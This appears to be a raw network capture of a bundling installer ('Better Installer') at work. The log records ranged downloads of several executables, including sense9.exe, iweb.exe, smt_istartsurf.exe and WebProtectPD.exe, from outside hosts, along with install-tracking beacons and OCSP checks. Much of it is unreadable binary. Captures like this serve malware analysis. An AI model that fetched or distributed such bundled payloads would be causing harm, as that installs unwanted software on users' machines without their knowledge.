[$...V...u..B...#}....^M.%.&. v.mX.B..-..3[UW|amM#7b19....|uZ.G....R.5
.g N..!.s.1O......hW.l..................^......W.]......t/.Ej:...N{R .
C.....j.T.!ZuI.;..@..&..........b5...I.. .'...........G....>..M.A..
.<U..|...K(.e..N....cc...Jf..........L.....C./>...T.g,..........
`.o.p...b...I....c..y:.a.\K^..g.F{i..N.;.....=.......B5m........80.\.;
D...[?q....[^5.$,!..:n2._...t.P....0..c".st..;.F...0..V`......A.z.....
5V./g/..........%.UU.l=.G{`[email protected].?_._.=.....e......W......F...FV.r....
...:.\..=.:.p.....i...m.......]`...yM..4I.|.....pQ..P.....;.2KI.BE....
W.Fn].....Qg*.....Y5... ...v....!.GC..;.By..5Plr8.PR.u..w:.86.l..b .g.
*.g.@,q....*....o=.N.b...Z.D..o...?....S3.o.o.S.{&M.T.....J..3SI."....
.5......r/:.....[WX$I....Ur..Ep.....zu._.....Aa....<.0w..i....c.L.V
4.;........{.../....C.:..Sk...?..uq...../..||..?.`.r..>-...E....0t.
.|@.a. C.X.....TL$.c......n.N:...p..-.g.>@..E. .......P#`,...X....}
[email protected].;..Wjh..3}.G.@=f./...=UTf;..V.nYt>V....O.
..8.l. ...v......el...w..V..t..eV.$?t.C.w<fh..1......]s.i..z}.G.r.3
.2r..H....8..6.....m!.y~........X/....3>!H.K.S..e^..Q.J.Ss.....g...
H.e....u.. . a..Ut.....hE....q./0.\?=.>....yv.a#m.5.C.b..s..K.c..1.
.u........U.;H.{....ze.?#U)(.n....NOu..4....................7..qY.i4.1
.OQL.a.!8..*>........T.z..M.:....|...g."..x.&3..z....;.v..2.....x..
N"p......?.Y.I.m.X.<....N.F..L..s)..gN..X..M.l..I..4...:.....}.].t%
.-.#..QaN......c>.o ...fJd.S.R...s......R.TR..M..@t:.......L<3.\
...6M...@)....c.H..oAIf"k E...#........1.g.....6..sX...5.!.v).....<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=6500000-6749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:29 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429686324"

Last-Modified: Wed, 22 Apr 2015 07:05:24 GMT

Cache-Control: max-age=2641

Content-Length: 250000

Content-Range: bytes 6500000-6749999/12374724

Content-Type: application/x-msdownload

X-HW: 1429690889.dop007.am4.t,1429690889.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
it..V....f"..I....[...H...,.n'......D..S.VW]O..x.U...2YSa7...`.q.!.s7.
.f` ~....y ....W........n.k.N..G.7..X...|[email protected]^1
.....?3#....D.r.c/..N:.....QvB..a..0.......n.#BP.....Z...2V8.P.m..d#N.
'.....D.... .....;.M.6...v'U..%.......`.rL9&.{.k........t.........-}.&
lt;.[.v>..Qi.k.k2>.e\.k.6B.....cX..^.?q.n..n..Wg*m........;....J
b[..nl.:..~..%..^,5... :.5.c..=...`.....>.......U..*.......E..u.M..
1b."Q...x....Yj.?Qi..p...W.y.j.D..5.'....6.............I../ ...Fb.ZF:.
.]...=..1Z.^q|.5......e.O..Fs5..~2l..1.Ez...Hu.C.p..UN.<=......'.O.
.\%..}.G../.*[email protected]...}...o..M5e<-C..Xls2.......\e;b..} MeJ#.
%M.J....Gy....V..v.g6..M...^.....e..Z...F{y..e.......K...d.M...c...7.q
..o"..Lw....T......$....,Y...F9..8..gZ...j.3.....H..3...I....(......m"
.,.......e....A.z.C=.E.-K!]..Nb..;.9,.I...i.a?...w...q .aZ.......^....
'..?......./.(5;.!k.W..A....7....2...=...f.=...W......_w.P..S4.<.".
..\..od*..........t.t..<#S....1."my9...K...P..yE.a1."c|.i.......;.)
...v.X.........../O...$...W.r.....|&AW... .t.I%.Q..[.{.......?...0C...
[.Gt..g...!VY....:FIs0..]...&.R.......Q....3.[......B.{.^..,.-}$,r.T..
i'............P.9[|...#5BA;.A.E8.r.v~S$.n...o$..Ly.Y0.?.xH.\J.%.#.}...
T..Z.....krn.9..q.k?.'Xyl-$f......,..^.....s...xZO6.g_.&T.k7.y/....s} 
.u.D:,. L.Mp...5A...V.......y.y....m..L../2......!...0@...'...Z....oY.
@.qf).n.Y...........?-..;H..?H.=..b.Y...}(.....r.S..Pi.....Oq#<.>
;.x....~Q....<......<).x.E>.g. ....J.!.......0a.&......,X^.k.
...&......#$u....T.#..2.%/.........,...8.b>.&.5.[{.'&. =4../O..<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=7000000-7249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

...

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=8000000-8249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



g..........L..)-..b.N.i.q..%&..&......&J...otT./o..m......c%.Z..... .y
.G..{..C6;._~OC..*^....\.y.ab.........k.x..v`2......0,.o....Ax..$.. `.
..:eR.B{.uJf..,.C../ .4...B.]n.....7.cu...Tm:.....(Y.~.u..-..N.u.z.L0.
.2.5D.t.cx..K....wq"l........ (...9.../.cG...../..T.....|.z..W.u.c.m..
zw...f..T..?C..}p..0.......%Q..xmIL. J...:V...g..).9j..?pA.....):.2.&.
.D..=BkX.1.W..l.`.R./!..g.([email protected]&g
t;..`..d..5g...L'......\&....{........a...("C..............`..\....xy.
!o..S`d.d..l`.....g"9..1A........R.:.&or.....~..H...B...u........H.R.~
.}3..t6q.SwV9....%.u#"..x.y...s.1.......d...~.#<.....^o..c2.....jE.
...Cc..p.....W....i..`..V..e.7SS.....-.y.S....cZ..|..Y..CM|..d..Y h.~.
..0{.I..Lb.C..P#.X....%.K..>Wd...Uc.....W.M4I.......Eu...n{....D...
o....0.n"XR.....A!Sd ....E. n\.EiZo..x...r.$..Y:.!t.Rm..2........C6.H.
..j.T..... ..S....Z....0.A.60.o.v.)C...Q.....W^Pk.jD..R.._?"..D...g...
.s.A.........v..(..}B.......t.....$.-h.Q.X..?*T..-..\a..,..2.........k
.....4}......kb6...1...........[v......S%.-r.......L... ... .;...G....
....~.m.<....=sub//...>'L...a.bc.....4..;......^TT..I_V.W.I.F...
.z2._Lks.l0..v..).. y .....y..9..H...twDr.bV....../.H......q.....v.&yb
p.wu.#..H.....[.<..1.9....g...l9y..>.S....x..w...$f#/.Y;62...a..
.IT......9. ....w...(..1..1O.T....#.c...SA......'....{i._Lpj,U....c(..
n6s...8O.............xf..F.H*.g.~.....!....6.p8.|...a8...*.y....dxu_n.
...H......s.n<.5.".Lo ....pl7...9..}'G..&..`p....-.......C.2.....cP
...V.-_.,LT...9fI.V.u..%........6....i.4\F-%@5E...iv...50..8..IV..<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=9500000-9749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:30 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429686324"

Last-Modified: Wed, 22 Apr 2015 07:05:24 GMT

Cache-Control: max-age=2640

Content-Length: 250000

Content-Range: bytes 9500000-9749999/12374724

Content-Type: application/x-msdownload

X-HW: 1429690891.dop007.am4.t,1429690890.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
%...q'....S2J...Mk<..H.c.......'....BLy.8^.#..`..V...._.v.u.......N
.e...............Y{b^.\...0...>:k..a..P../...j*._.D.n....{SvX..x*T4
..k...VC...wK..f.}'!...v.....[[email protected].~.1...:...=m.N.....DR;...N>(.
......Z.p.z."[email protected].]...[f.z "(.p.....:.._E....
W..'@....q...........i......U.=ae.... ..i.G..S..yn.jJa3.....X.`.....,.
.....%........*.*|.m..(.......TL..........XN\.g.l.....F^..)....|.....o
jA..9..mPe...z..p.Qo Z......4z...j`..V./I...1.6..F...-.e.:.v...2.^K?^|
......U....w..O...P.. ..H..S..yy2...w.A./Mb.S.],....z....1..w}.X.Y..G-
..Q....%.S..}"L4......U...A....*....1...s...,2Y..,|.8V..vu..5".u....6.
...#..9o..R......Y..z.`..(.......>.*E...kO..i..Q.z..kI..q.I.CH....f
.4./........|.ut.Q.......!i...}.....<bP.|..g..W.........=W...Y..X~Q
.)....[ ~..w....2....*..N..x.6......z...G]..ZQ(:}.P.g..B......)....ee.
...........u'6.p...!.)..>..$..G.F.T...JO.L. ..-......x.#..T.!..ft.:
?1...E{L.J.3............S.}......b.o...?_.C..iI..~.....~W.2^A....).)..
.&FF...fK....vL..?..@..|}......b.]...g...x.....o.G..>[email protected]\NP..
.....0.1.^..V..w...- .|.6..d.....c| .W..0....ds........ge*....5.....E.
b..*z.j.......:S.N.=C`#I...K.....e......*..DC..}..e.QC.....k...<?-E
...b..-$..>..AU....b...@"..y?4.....I#.}@.q$.g..q..uD........P..}..}
qCP...U.t.YK.X...u..... . ...m.<..}...j...8'.........t..GQ._%.4.H..
......7Dj.....[...60...X...aHTR....,.....&c.|..h......w.N.Q..Y$..co...
s.-...5.8..I..sL.}.<$!......r`.!...I...G..V:..W*.SC.(..9.4.|I[. b..
<...l.`...P..:.v.....9.Mz;....H.........iw..e.-.......$.m..q...<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=10000000-10249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=10500000-10749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=11000000-11249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



#......;.....!.......kw....1.:.b......=.........#..$.1.U...f......C..|
:6Q.o.........|. ..!!Z]%...Y......v..W%....::.20.7.e....b...........w.
..O.NW......5K_......~..*.......{...w.X.k...N..YV7N.P ..*.>6.OFXN..
t.........?k........H9...[......].w.[....k.e.Cf:...%..F.<}O..pTJ.n.
.GZ3Q..g....n..'Y.zT@W..............~$.#....c.............R....Z.-J.._
....E......].......m........:u.#...H...Q.?..bi.q.V....=..3.O.5eC.A%...
..........<..N.I.R.(.....w.../...<p.f..D.n.z......*.u.oE...4".o.
.... .R....g...EU5..`..`[email protected]}!..A......qW.......@|....
.T.l.XY.m.e..c.../..<`..|[email protected].|...y..Y..3..[..8.N....v....T3P...
........*.....?6^..^.......L.8,..<..[.5.......X.r..R-.:.8B`..B..;..
Zz.,..~V.}B^..0........YH..K.U.z...?.C.w....qLu.n...4...nfb:^...\...|.
., .2'r!kt..I.m......}....<x.Sp....E......:*.Yb.Y..s...YB...c..!,.6
.%M2..tKt5....Q...J...U.&.9j...m...A........3nPZU....4...  ...2..."..`
I.Y)$...eI"..o.....nd.J......A.A...Z........0..9..|....H,A..2....R...'
[email protected]|?h.'9.~......n._.>J..3k
....PEE[.g.QdZ.6.......8........R..;..v....?j.8ub.m....]..g...3...'.lD
.r.:.....`..f..."\m...m2R....|.D......Y2..,.5..n..>.0J.......,.f..~
.]Y.....C.`..!..h..hd.F.~.#*..~...&3...9....5.....C7.X[,.k....v...^jsg
q6~.e....)...o...8.yA.U....VN/..... ,..p....j#.C.K.d......b..w..t|.zH.
A.b...f,...g..CE.w.\.j.#[email protected]
..B.Y..$......}K.......j.x.A.i}.L.....RF......a/D...l.laG1..^..@......
.V......).&3.....h...Z...[...9...w.j.....$..BVm\.$...h.'.=zO.- ...<<< skipped >>>

GET /v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2102&update4=chptid,smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 22 Apr 2015 08:23:48 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.49 ms","message":"store 3 action and 5 upd
ate "}..0......

GET /v4/sof-ient/267123711_198339_B48A115F?action1=install.smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 22 Apr 2015 08:23:48 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.35 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 22 Apr 20
15 08:23:48 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.35 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1953 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 22 Apr 2015 08:23:43 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.06 ms","message":"uid is not set"}..0..
....

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 22 Apr 2015 08:23:43 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Wed, 22 Apr 2015 08:23:43 
GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunke
d..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4
..3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..0
..

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=251748-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:11 GMT

Content-Type: application/octet-stream

Content-Length: 419580

Last-Modified: Tue, 21 Apr 2015 02:13:21 GMT

Connection: keep-alive

Expires: Sat, 25 Apr 2015 08:20:11 GMT

Cache-Control: max-age=259200

Content-Range: bytes 251748-671327/671328
F......u,....... ;.t........@;[email protected].(i..Y.F.....W.......F.
.>.H....N. . ..N...~.WP.u...v......E..N.. .F..=....M....t....t.....
..............I......H..@. t.Sj.j.Q.Jz..#.......t-.F..].f....j..E.P.u.
...].f.]...u......E.9}.t..N. .........%...._[^....U..........f9E......
.SV.u..M.......u..N.3.;.u..E..H.f...w.f.. ....K.....j.f9E.s..u......Y.
...E.Yt,........... .U.Rj..U.RPQ............E.t...E.8].t..M..ap.^[..3.
PPj.Pj.h...@h..G....pG....H.....H....t....t.P...pG....U.....SV.u..M...
....]......;.sT.M........~..E.Pj.S.z....M...............X.....t.......
..........}..t..E..`p.........E........~1.]..}...E.P.E.%....P.....YY..
t..E.j..E..]..E..Y...-.....*...3..]..E..A.E.j..p..U.j.RQ.M.QV.p..E.P.h
.....$....o........E.t...M.......}..t..M..ap.^[....U...=..H..u..E..H..
..w... ].j..u......YY]...U....<S.u..M.......M..E.3.;.t...;.u%.x....
..........8].t..E..`p.3.3..O...9].t..}..|..}.$....V.u.W.]..]..M..x....
....~..E.P..E.j.P......u........E..........A...;.t....E.G...}.-.}.u..M
.....}. u...G.}..E.j.Y9].u%.}.0t..E......7..<xt.<Xt..E......$.M.
9M.u..}.0u...<xt.<Xu..G.....E..}..E..R..Wj.j..U.......]........M
..E..U..M.......C.....t......0..%....tP.A.<....w... .p.;u.s;.M..M..
;M.rQw..E.;E.rG.E.9E.u.;M.u.3.;E.r3w.;u.v,.M...}..u;.E..M...uA3.9E.t..
M..M..E..E......Q.u..u.W.....3......E..U..E....E..E..E...............u
'..uT...t.9].w.r..}..w...u>9u.r9w..}..v1.o....E...."...t..M...M....
.E..t..e...]....M...u..E._^..t..M....E..t..E..M.........E..M..}..t..E.
.`p..E..U.[....U..3.P.u..u..u.9...H.u.h..H...P.=......]...........<<< skipped >>>

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

Range: bytes=18232-

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 54690

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 18232-72921/72922

Age: 706

X-Cache: Hit from cloudfront

Via: 1.1 6cde3c778df412041adc7610331b57bc.cloudfront.net (CloudFront)

X-Amz-Cf-Id: s3Ba-iJfBYHvuBmuYxeVOAtBSWQk88mNRqF78piSeYOwkq2UWrrgdQ==
[email protected]@..E......%[email protected][email protected]$..
........=`7B..t....uG.=h7B..t.........6B.h..@[email protected][email protected]$....@.
.. [email protected][email protected]@[email protected]@...t.
[email protected]$..u.WV..|[email protected]._^...U....L...S.].VW.}......W.E..........E.t.W..
0q@[email protected].......]..e..t.....'...............B.WV......}..t.h`[email protected]
.......W......?.u..=..B.\[email protected]....([email protected]...
..........j?P.......,....8.t..}..t..u..>.u..F...tc<.u..~..tYVS.F
..........t..E....<.u?.u.W......4.u.W.......u.9E.t.Wj......j.W.....
....H7B...Wj............P.u...,[email protected]...<q@..}..t..c..3.9u.t
K9u.u...H7B..>W.......t4W.5....E...PW.......u.9u.t.Wj..s...VW.5....
.Wj..b..._^[....V.t$.V.{[email protected]\[email protected].....^....D$...:L$.t
.P.. [email protected]$.V.4......8\t.PV...q@.;.w.. .@^....T$...... ..\u.
8J.t.<a|.<z...z.:[email protected] [email protected].|$.W....S......t..;:u..{.
\u.P...$..\u.8O.u.j.^j\[email protected]._^[...VW.t$....B.V.q...V..
.......u.3..RW........6B..t.....t.<\t. ....C.....t....t.V.....V.@..
.;[email protected]........._^[email protected]..'.E..u...0.$
[email protected].. [email protected]..;E.}.3._^[.........L$.V.t$...v..D$. ...
...ANu.^[email protected].$.P.t$...|p@...^[email protected]....#.Q
[email protected][email protected]...`[email protected]
[email protected]..&._^][email protected].;[email protected].
^][email protected]@[email protected][email protected]....
../...;...'....P.B.SV.t$ ..........;.......VWh|[email protected]@.....6<<< skipped >>>

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./...1o..2. ..0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Wed, 22 Apr 2015 08:23:35 GMT

Expires: Sun, 26 Apr 2015 08:23:35 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=1
0..........0..... .....0......0...0......J......h.v....b..Z./..2015042
2011032Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
..1o..2. ....20150422011032Z....20150429011032Z0...*.H.............y..
j.y;.2~_.{9F.K...o.4.......!....];8.SG..&.E.}..(.\.8.{'!...3....>..
....v.K..%..k..b)..1.*[email protected]......<....##......tI..
.q...r.v.r;D._..Q...."}..W....lV.E.e.2..._......t..WBB8_^/_..#..v=.`n.
.=;..8......C.>...Ng...j....../6.d.k..L.......=awHTTP/1.1 200 OK..C
ontent-Type: application/ocsp-response..Date: Wed, 22 Apr 2015 08:23:3
5 GMT..Expires: Sun, 26 Apr 2015 08:23:35 GMT..Cache-Control: public, 
max-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Pro
tection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protoco
l: 80:quic,p=1..0..........0..... .....0......0...0......J......h.v...
.b..Z./..20150422011032Z0k0i0A0... ..........j.....p.I.#z...(~d..J....
..h.v....b..Z./...1o..2. ....20150422011032Z....20150429011032Z0...*.H
.............y..j.y;.2~_.{9F.K...o.4.......!....];8.SG..&.E.}..(.\.8.{
'!...3....>......v.K..%..k..b)..1.*[email protected]......<
....##......tI...q...r.v.r;D._..Q...."}..W....lV.E.e.2..._......t..WBB
8_^/_..#..v=.`n..=;..8......C.>...Ng...j....../6.d.k..L.......=awfont>....<<< skipped >>>

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./..Tj!.T.w...0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Wed, 22 Apr 2015 08:23:36 GMT

Expires: Sun, 26 Apr 2015 08:23:36 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=1
0..........0..... .....0......0...0......J......h.v....b..Z./..2015042
2011545Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
.Tj!.T.w.....20150422011545Z....20150429011545Z0...*.H.............H..
....3kK..G .e.........Y.-..........BT6...E~.X)#c"..8......'......T..&.
..n...,}4.E~...B} .f\..?..4..i....N9...pX.|[email protected]
..)B(..D.W.....A.s..W...&..AuJ..{.V...........h.>>....1..aG...."
_..... ...b.p&..-.....&r...p F...-.....D...I.....HTTP/1.1 200 OK..Cont
ent-Type: application/ocsp-response..Date: Wed, 22 Apr 2015 08:23:36 G
MT..Expires: Sun, 26 Apr 2015 08:23:36 GMT..Cache-Control: public, max
-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protec
tion: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 
80:quic,p=1..0..........0..... .....0......0...0......J......h.v....b.
.Z./..20150422011545Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h
.v....b..Z./..Tj!.T.w.....20150422011545Z....20150429011545Z0...*.H...
..........H......3kK..G .e.........Y.-..........BT6...E~.X)#c"..8.....
.'......T..&...n...,}4.E~...B} .f\..?..4..i....N9...pX.|..m@A.........
.....T.....ZQ..)B(..D.W.....A.s..W...&..AuJ..{.V...........h.>>.
...1..aG...."_..... ...b.p&..-.....&r...p F...-.....D...I.......<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=416430-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:12 GMT

Content-Type: application/octet-stream

Content-Length: 694046

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G...3.|..x..>j3....r...7....i<?.....x.....X..U_2..q..%.q.
u....M....H..8... ,...S5... ..z..py.....!...n.M...h[...Sr......5]_....
@.\).).C2.a..r52i(.....;..)|. ^.Z...I.#WP...|..5.......@B.......%.`b.S
t./S}[email protected]`<.b.W..K..=T....`F....s#...Gc(`....!L..I.....L
..E2..h.]@.\P..L8W...E3..`.._.c..S.N...I...M..k.`.>b...8p..1...<<< skipped >>>

GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQCEHQmdFrc480Fy/u/h0ldP HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.comodoca.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:25:00 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Tue, 21 Apr 2015 05:19:25 GMT

Expires: Sat, 25 Apr 2015 05:19:25 GMT

ETag: 672DD3A305EF3F8BA0935AB786256103A69A1C88

Cache-Control: max-age=247464,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: h6edcaocsp5

Content-Length: 472

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........,}...h|%....?......2015042
1051925Z0t0r0J0... .........%.6..Ga....e............,}...h|%....?.....
........8.Ar....WO....20150421051925Z....20150425051925Z0...*.H.......
......=..3M../.Iq..4..3..rR...,..K........{@.><..l-}p...w#..`<
;.^W.v..n...h.Y...../d.....|.....D..:tyG...xUC"..8.>i..._.8.Tw..^En
..._4~.#.[].1.Ee...[.'Sp.......`7...%..kw?.......v...P ..Ks.m...x...bK
I~.K.J.u..t~5.}.. .lx.-Dl]G..^T....8?;.k..|[email protected].>..@o.;.!..

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1

Range: bytes=219831-

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 366383

Connection: keep-alive

Date: Sun, 19 Apr 2015 05:10:27 GMT

x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671

Cache-Control: max-age=3600

Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT

ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 219831-586213/586214

X-Cache: Hit from cloudfront

Via: 1.1 8b1633b834f6beaa5a2d7797c38cf775.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mreR16yYKPRXJbBMsQEBX5-r2mGfEL2qJ0sHHgsYIiOLZ8NLo9JC6Q==
......z..2.D.9,H...9......s....c...Pd'...~|.D.....<ZM....I...7.V.R.
.*.....2..?...q..t...U..i..*....[".c.....:C........6D.q..^.N.6\.^#.JzS
...9{..$.........>.....aC.....(....OP_nFF-Hq..\......*..o.f.-....m.
